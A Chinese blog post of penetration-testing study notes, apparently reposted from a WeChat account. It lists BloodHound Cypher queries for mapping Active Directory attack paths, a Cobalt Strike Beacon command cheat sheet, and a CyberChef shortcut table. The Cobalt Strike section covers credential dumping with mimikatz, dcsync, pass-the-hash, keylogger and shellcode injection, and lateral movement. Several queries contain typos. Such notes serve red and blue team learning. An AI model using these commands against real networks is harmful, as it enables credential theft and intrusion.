渗透测试学习笔记——B、C

admin 2022年3月18日12:54:13评论109 views字数 9002阅读30分0秒阅读模式

渗透测试学习笔记——B、C

感谢アヤメ师傅投稿

B

BLOODHOUND

红/蓝 Windows BloodHound 使用图形来揭示 Active Directory 环境中隐藏的且经常是意外的路径。攻击者可以使用 BloodHound 轻松识别高度复杂的攻击路径,否则这些攻击路径无法快速识别。防御者可以使用BloodHound来识别和消除这些相同的攻击路径

bloodhound密码查询

  1. 列出所有拥有的用户MATCH (m:User) WHERE m.owned=TRUR RETURN m
  2. 列出所有拥有的电脑MATCH (m:Computer) WHERE m.owned=TRUE RETURN m
  3. 列出所有拥有的用户组MATCH (m:Group) WHERE m.owned=TRUE RETURN m
  4. 列出所有高价值目标MATCH (m) WHERE m.hightvalue=TRUE RETURN m
  5. 列出所有拥有的用户所在的用户组MATCH (m:User) WHERE m.owned=TRUE WITH m MATCH p=(m)-[:MemberOf*1..]->(n:Group) RETURN p
  6. 找到Kerberoastable用户MATCH (n:User)WHERE n.hasspn=true RETURN n
  7. 找到所有带有SPN/Kerberoastable用户和密码MATCH (u:User) WHERE u.hasspn=true AND u.pwdlastset < (datetime().epochseconds - (1825 * 86400)) AND NOT u.pwdlastset IN [-1.0, 0.0] RETURN u.name, u.pwdlastset order by u.pwdlastset
  8. 找到Kerberoastable用户以及到DA的路径MATCH (u:User {hasspn:true}) MATCH (g:Group) WHERE g.objectid ENDS WITH '-512' MATCH p = shortestPath( (u)-[*1..]->(g) ) RETURN p
  9. 找到机器的能RDP到的域用户match p=(g:Group)-[:CanRDP]->(c:Computer) where g.objectid ENDS WITH '-513' return p
  10. 找到能RDP的用户组MATCH p=(m:Group)-[r:CanRDP]->(n:Computer) RETURN p
  11. 找到能重置密码的用户组(报错:Heavy)MATCH p=(m:Group)-[r:ForceChangePassword]->(n:User) RETURN p
  12. 查找具有本地管理员权限的组(报错:Heavy)MATCH p=(m:Group)-[r:AdminTo]->(n:Computer) RETURN p
  13. 查找所有具有本地管理员权限的用户MATCH p=(m:User)-[r:AdminTo]->(n:Computer) RETURN p
  14. 找到所有活动的域管理员会话MATCH (n:User)-[:MemberOf]->(g:Group) WHERE g.objectid ENDS WITH '-512' MATCH p = (c:Computer)-[:HasSession]->(n) return p
  15. 找到所有无约束的电脑MATCH (c:Computer {unconstraineddelegation:true}) return c
  16. 查找所有操作系统不受支持的计算机MATCH (H:Computer) WHERE H.operatingsystem =~ '.*(2000|2003|2008|xp|vista|7|me)*.' RETURN H
  17. 找到在过去90天内登陆过的用户MATCH (u:User) WHERE u.lastlogon < (datetime().epochseconds - (90 * 86400)) and NOT u.lastlogon IN [-1.0, 0.0] RETURN u
  18. 找出过去九十天内登陆过的用户的密码MATCH (u:User) WHERE u.pwdlastset < (datetime().epochseconds - (90 * 86400)) and NOT u.pwdlastset IN [-1.0, 0.0] RETURN u
  19. 查找约束委派(原文:find constrained delegation)MATCH p=(u:User)-[:AllowedToDelegate]->(c:Computer) RETURN p
  20. 查找允许无约束委派但不是域控制器的计算机MATCH (c1:Computer)-[:MemberOf*1..]->(g:Group) WHERE g.objectid ENDS WITH '-516' WITH COLLECT(c1.name) AS domainControllers MATCH (c2:Computer {unconstraineddelegation:true}) WHERE NOT c2.name IN domainControllers RETURN c2
  21. 返回数据库中至少一个 SPN 包含字符串“MSSQL”的数据库中每台计算机的名称MATCH (c:Computer) WHERE ANY (x IN c.serviceprincipalnames WHERE toUpper(x) CONTAINS 'MSSQL') RETURN c
  22. 查看所有的GPOsMatch (n:GPO) RETURN n
  23. 查看所有包含关键词'admin'的组Match (n:Group) WHERE n.name CONTAINS 'ADMIN' RETURN n
  24. 找到所有大于五年的SPN/Kerberoastable用户的密码MATCH (u:User) WHERE n.hasspn=true AND WHERE u.pwdlastset < (datetime().epochseconds - (1825 * 86400)) and NOT u.pwdlastset IN [-1.0, 0.0] RETURN u
  25. 显示所有高价值目标组MATCH p=(n:User)-[r:MemberOf*1..]->(m:Group {highvalue:true}) RETURN p
  26. 找到同时包含用户和计算机的组MATCH (c:Computer)-[r:MemberOf*1..]->(groupsWithComps:Group) WITH groupsWithComps MATCH (u:User)-[r:MemberOf*1..]->(groupsWithComps) RETURN DISTINCT(groupsWithComps) as groupsWithCompsAndUsers
  27. 找到高价值用户组里边的Kerberoastable用户MATCH (u:User)-[r:MemberOf*1..]->(g:Group) WHERE g.highvalue=true AND u.hasspn=true RETURN u
  28. 找到Kerberoastable用户和他们所在的AdminToOPTIONAL MATCH (u1:User) WHERE u1.hasspn=true OPTIONAL MATCH (u1)-[r:AdminTo]->(c:Computer) RETURN u
  29. 查找具有受限委派权限的计算机以及它们允许委派的相应目标MATCH (c:Computer) WHERE c.allowedtodelegate IS NOT NULL RETURN c
  30. 查找是否有任何域用户对 GPO 具有作用的权限MATCH p=(u:User)-[r:AllExtendedRights|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|GpLink*1..]->(g:GPO) RETURN p
  31. 查找非特权用户是否有权将成员添加到组中MATCH (n:User {admincount:False}) MATCH p=allShortestPaths((n)-[r:AddMember*1..]->(m:Group)) RETURN p
  32. 找到所有用户vpn用户组用户Match p=(u:User)-[:MemberOf]->(g:Group) WHERE toUPPER (g.name) CONTAINS 'VPN' return p
  33. 找到从未登录却激活了的账号MATCH (n:User) WHERE n.lastlogontimestamp=-1.0 AND n.enabled=TRUE RETURN n
  34. 在一个域中找到一个可以对一个外来对象做某事的对象MATCH p=(n)-[r]->(m) WHERE NOT n.domain = m.domain RETURN p
  35. 查找特定域中用户的所有会话MATCH p=(m:Computer)-[r:HasSession]->(n:User {domain:{result}}) RETURN p

相关链接:

https://github.com/BloodHoundAD/BloodHound
https://github.com/BloodHoundAD/Bloodhound/wiki
https://posts.specterops.io/introducing-bloodhound-3-0-c00e77ff0aa6
https://github.com/chryzsh/awesome-bloodhound
https://github.com/SadProcessor/HandsOnBloodHound
https://github.com/hausec/Bloodhound-Custom-Queries

C

cobalt strike

红队

command

basic

cancel [*文件*] 取消当前正在进行的下载,接受通配符cd [目录] 改变当前的工作目录clear 清屏cp 文件 另一个文件 文件拷贝成另一个文件download [C:文件路径] 从文件路径下载文件downloads 列出下载文件的进程execute-assembly 将本地 .NET 可执行文件作为 Beacon 后利用 工作作为当前的令牌exit 退出help <cmd> 显示所有可用命令或帮助指定命令inject [pid] <x86|x64> 将新的cs信标注入进指定进程jobkill [job ID] 杀死指定id程序jobs 列出正在运行的任务keylogger [pid] <x86|x64> 将击键记录器注入给定的进程 ID 和体系结构link/unlink [ip地址] 从远方建立或者断开连接ls <C:Path> 列出特定路径下的文件net [session/share/localgroup/etc] Beacon net commands implemented that don’t rely on net.exe(翻译不来)ps 列出进程清单pwd 显示当前路径reg_query [x86|x64] [HIVEpathtokey] 查询注册表中的特定键reg_query [x86|x64] [HIVEpathtokey] [value] 查询注册表项中的特定值rm [filefolder] 删除filefolderscreenshot [pid] <x86|x64> [runtime in seconds] 在指定的秒数内将屏幕捕获存根注入指定的进程/体系结构setenv 设置环境变量shell [cmd] [argument] 使用cmd.exe执行 shell 命令sleep [秒] <jitter/0-99>将 Beacon 设置为休眠秒数和相关的 0-99% 抖动。0 表示交互upload [/path/to/file] 攻击者上传文件到当前文件夹

欺骗 spoofing

argue [命令] [命令对应的参数] 将命令添加到虚假参数内部列表ppid <id> 设置父进程idspawnto <x86|x64> <C:processtospawn.exe> 设置子进程spawned

MIMIKATZ

mimikatz [module::command] <args> 执行 Mimikatz !module:: 提升到 SYSTEM 的格式;@module:: 强制使用当前令牌logonpasswords 将执行 sekurlsa::logonpasswords 模块,该模块提取哈希和明文密码LSASSdcsync [DOMAIN.fqdn] [DOMAINuser] 将使用 lsadump::dcync 从域控制器中提取指定用户的哈希值pth [DOMAINuser] [NTLM hash] 将使用 sekurlsa::pth 将用户的哈希注入 LSASS;需要本地管理员权限DESKTOP VNCdesktop <pid> <x86|x64> <low|high> 将 VNC 服务器暂存到当前进程的内存中,并通过 Beacon 建立连接

powershell

powershell-import [/path/to/scrit.ps1] 从控制服务器导入 PowerShell .ps1 脚本并将其保存在 Beacon 的内存中powershell [commandlet] [argument] 设置绑定到 localhost 的本地 TCP 服务器并下载脚本;执行函数和任何参数并返回输出powerpick [commandlet] [arguments] 使用 @tifkin_ 的非托管 PowerShell 启动给定函数,它不会启动 powershell.exepsinject [pid] [arch] [commandlet] [arguments] 将非托管PowerShell注入特定进程并执行指定命令

SESSION PASSING

dllinject [pid] 将反射 DLL 注入进程inject [pid] <x86|x64> 在指定进程中注入一个新的 Beaconshinject [pid] <x86|x64> [/path/to/file.bin] 将本地文件中的 shellcode 注入目标进程spawn [x86|x64] [listener] 为给定的侦听器生成一个新的 Beacon 进程spawnas [DOMAINuser]

输入密码查看隐藏内容

[listener]
以另一个用户的身份为指定的侦听器生成一个新的 Beacondllload [pid] [c:pathtofile.dll] 在另一个进程中加载磁盘上的 DLL

PRVILEGE ESCALATION

elevate 列出权限提升在 Cobalt Strike 中注册的漏洞利用elevate [exploit] [listener] 尝试使用特定的漏洞来提升runasadmin 列出在 Cobalt Strike 注册的命令执行漏洞runasadmin [exploit] [command + args] 尝试在提升中运行指定的命令runas[DOMAINuser]

输入密码查看隐藏内容

[command]
使用窃取的的凭据以另一个用户身份运行命令spawnas [DOMAINuser]
输入密码查看隐藏内容

[listener]
使用他们的凭据作为另一个用户生成会话getsystem 模拟 SYSTEM 帐户的令牌elevate svc-exe [listener] Get SYSTEM 是创建一个运行有效payload的服务getprivs 启用分配到当前访问令牌的权限

RECON

portscan [目标] [端口] 开启端口扫描任务portscan [目标] arp 使用arp扫描portscan [目标] icmp 使用icmp扫描net dclist 查找域控net view 在目标加入的域上查找目标net computers 通过查询域控制器上的计算机帐户组来查找目标net localgroup \TARGET 列出系统里边的其他用户组net localgroup \TARGET group name 列出系统里边的其它组成员

TOKENS

steal_token [process id] 从现有流程模拟令牌make_token [DOMAINuser]

输入密码查看隐藏内容

生成传递这些凭据的令牌getuid 打印当前令牌rev2self 恢复到您的原始令牌

TICKETS

kerberos_ticket_use [/path/to/ticket.kirbi] 将 Kerberos 票证注入当前会话kerberos_ticket_purge 清除与您的会话关联的任何 kerberos 票证

LATERAL MOVEMENT

jump 列出在 CobaltStrike 注册的横向移动选项jump [module] [target] [listener] 尝试在远程目标上运行有效payloadjump psexec [target] [listener] 使用服务运行服务 EXE 工件jump psexec64 [target] [listener] 使用服务运行服务 EXE 工件jump psexec_psh [target] [listener] 使用服务运行 PowerShell 单线程jump winrm [target] [listener] 使用powershell脚本via WinRMjump winrm64 [target] [listener] 使用powershell脚本via WinRMremote-exec 列出使用 Cobalt Strike 注册的远程执行模块remote-exec [module] [target] [command + args] 尝试在远程目标上运行指定的命令remote-exec psexec [target] [command + args] 通过服务控制管理器远程执行remote-exec winrm [target] [command + args] 通过 WinRM 远程执行(powershell)remote-exec wmi [target] [command + args] 通过 WMI 远程执行

PIVOTING

socks [port] 在您的团队服务器上的给定端口上启动一个 SOCKS 服务器,通过指定的信标隧道传输流量socks stop 停止代理服务browserpivot [pid] <x86|x64> 通过指定的 Internet Explorer 进程代理浏览器流量rportfwd [bind port] [forward host] [forward port] 绑定到 Beacon 主机上的指定端口,并将任何传入连接转发到转发的主机和端口rportfwd stop [bind port] 禁用反向端口转发

SSH SESSIONS

ssh [target] [user]

输入密码查看隐藏内容

从 Unix 目标上的 Beacon 启动 SSH 会话ssh-key [target] [user] [/path/to/key.pem] 从 Unix 目标上的 Beacon 启动 SSH 会话shell [cmd + arguments] 运行提供的命令和参数sudo
输入密码查看隐藏内容

[cmd + arguments]
尝试通过 sudo 运行命令

链接

https://github.com/rsmudge/ElevateKit
https://www.cobaltstrike.com/downloads/csmanual40.pdf
https://github.com/HarmJ0y/CheatSheets/blob/master/Beacon.pdf
https://github.com/threatexpress/cs2modrewrite
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cobalt%20Strike%20-%20Cheatsheet.md

CYBER CHEF

蓝队 CyberChef 是一个简单、直观的网络应用程序,用于分析和解码数据,无需处理复杂的工具或编程语言

  • 解码 Base64 编码的字符串
  • 将日期和时间转换为不同的时区
  • 解析 IPv6 地址
  • 从 hexdump 转换数据,然后解压缩
  • 解密和反汇编shellcode
  • 将多个时间戳显示为完整日期
  • 对不同类型的数据进行不同的操作
  • 使用部分输入作为操作的参数
  • 执行 AES 解密,从
  • 密码流的开始
  • 自动检测多层嵌套编码
:---: :---: :---:
description win/linux mac
将光标放在搜索字段中 Ctrl+Alt+f Ctrl+Opt+f
将光标置于输入框 Ctrl+Alt+i Ctrl+Opt+i
将光标放在输出框中 Ctrl+Alt+o Ctrl+Opt+o
将光标放在配方中下一个操作的第一个参数字段中 Ctrl+Alt+. Ctrl+Opt+.
将光标放在配方中第 n 个操作的第一个参数字段中 Ctrl+Alt+[1-9] Ctrl+Opt+[1-9]
禁用当前操作 Ctrl+Alt+d Ctrl+Opt+d
设置/清除断点 Ctrl+Alt+b Ctrl+Opt+b
bake Ctrl+Alt+Space Ctrl+Opt+Space
步骤 Ctrl+Alt+' Ctrl+Opt+'
清屏 Ctrl+Alt+c Ctrl+Opt+c
保存到文件 Ctrl+Alt+s Ctrl+Opt+s
加载 Ctrl+Alt+l Ctrl+Opt+l
将输出加载到输入 Ctrl+Alt+m Ctrl+Opt+m
创建一个新选项卡 Ctrl+Alt+t Ctrl+Opt+t
关闭当前选项卡 Ctrl+Alt+w Ctrl+Opt+w
下一个选项卡 Ctrl+Alt+RightArrow Ctrl+Opt+RightArrow
转到上一个选项卡 Ctrl+Alt+LeftArrow Ctrl+Opt+LeftArrow

链接

https://gchq.github.io/CyberChef/

免责声明由于传播、利用本公众号李白你好所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号李白你好作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

end





网络¥安全联盟站—李白你好

欢迎关注[李白你好]-文章内容涉及网络¥安全,web渗透测试内网安全二进制安全工业控制安全APP逆向、CTF、SRC等。

渗透测试学习笔记——B、C

                                                           

渗透测试学习笔记——B、C


微信:libaisec

微信交流群:加我微信拉你进群和工程师们学技术聊人生



渗透测试学习笔记——B、C

原文始发于微信公众号(李白你好):渗透测试学习笔记——B、C

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月18日12:54:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透测试学习笔记——B、Chttp://cn-sec.com/archives/833160.html

发表评论

匿名网友 填写信息